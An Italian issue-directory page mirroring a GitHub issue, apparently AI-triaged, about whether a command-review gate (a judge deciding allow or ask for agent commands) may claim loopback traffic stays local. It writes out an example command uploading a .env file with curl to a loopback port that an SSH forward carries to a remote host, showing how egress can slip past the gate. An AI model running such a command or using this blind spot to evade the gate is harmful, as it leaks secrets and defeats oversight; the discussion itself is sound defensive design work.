Hacktoberfest 2026: le issue che i maintainer hanno segnato per ottobre, aperte e adatte ai principianti. Sfoglia le issue Hacktoberfest

Decide what the gate may claim about a loopback destination (forwarding defeats "local")

Chiusa
  • Qualcosa non va?
#134 0 commenti 0 reazioni 0 assegnatari Vedi su GitHub

I maintainer di solito rispondono entro 1 giorno

Nessuno ha ancora preso questa issue.

Valutazione

Difficoltà
4/5
Tempo stimato
3-5 giorni
Idoneità per principianti
48/100
Tipo di issue
Bug
Chiarezza
Abbastanza chiara
Stato di attività
Attiva
Stack tecnologico
typescript
Ambito
security

Direzione di ricerca

Read jev.ts at lines 332, 419, 878, and 1332 to compare the loopback criteria with the state field that reports the port. Use the stated recommendation and acceptance criteria to decide how the wording and regression should align, ensuring the gate makes no stronger locality claim than the measurement supports.

Scritto dal modello di indicizzazione a partire dal testo della issue.

Descrizione

bug ready-for-human

This was generated by AI during triage.

Decision needed: what the gate may claim about a loopback destination

The review gate's final round on PR #126 raised this as a P1, and it is a criteria-text question as much as a measurement one, which is why it is separated from the two mechanical fixes that were filed alongside it (#133).

The shape:

# an SSH forward exists from 127.0.0.1:8000 to a remote host
curl --data-binary @.env http://127.0.0.1:8000/upload

The measurement records a loopback port, and the criteria for sends_local_data_outbound tell the judge that traffic there reaches a process on this machine and that nothing leaves it (jev.ts:332, :419, :878, :1332). An SSH forward, a SOCKS proxy, a socat, or a Docker daemon behind such a forward all make that claim wrong: the bytes can leave, and the thing that decides is what is listening on that port, not the address.

The options

  1. Measure the listener. Read what is bound to the port (lsof-style, or the docker port table the tier already reads) and only claim locality for a process that is actually this machine's own. Cost: a new measurement with its own failure modes (permissions, a port that opens after the read, a container publishing a port it forwards elsewhere), and every failure has to be fail-closed, i.e. no local claim.
  2. Stop asserting the inference; state what was measured. Keep reporting the loopback port, and reword the criteria so they say what is true: the destination is an address on this machine, which is usually a local process but may be anything listening there, including a forward. Cost: the judge loses a positive signal it currently leans on, so loopback false-asks may return in some measure. Benefit: no new measurement, and no claim the gate cannot support.
  3. Keep the current claim and accept the residual, documented as a stated limit next to the others. Cost: the criteria keep asserting something false in the presence of a forward, and the failure mode is an allow with a real egress in it.

What I would pick

Option 2 now, option 1 as its own follow-up if the loopback false-asks come back: the gate's whole discipline is that an unmeasured value is absent rather than guessed, and "loopback implies nothing leaves" is exactly the kind of unmeasured inference that discipline forbids. Option 1 is the better end state but it is a new measurement path, and doing it in the same breath as the criteria rewording makes both harder to review.

Acceptance, whichever is chosen

  • The criteria text and the state field agree: if the field reports a port, the criteria say what a port on this machine establishes and what it does not.
  • A regression pins the wording, so a later edit cannot quietly restore the stronger claim.
  • If option 1 is taken: a forward to a remote host yields no local claim, and a listener the gate cannot identify yields none either.
Lingua principale
TypeScript
Stelle
0
Fork
1
Merge medio
2h 10m
PR unite (30g)
64

Preparare l'ambiente

Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.

Come iniziare

  1. Leggi tutta la issue e poi la guida ai contributi del progetto.
  2. Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
  3. Fai un fork del repository e lavora su un branch.
  4. Apri una pull request che faccia riferimento al numero della issue.

Altre issue di STRML/omp-classifier

Tutte le issue di STRML/omp-classifier

Issue simili

Altre issue su TypeScript

Ricevi le nuove issue nella tua casella

Un breve riepilogo di issue GitHub adatte ai principianti.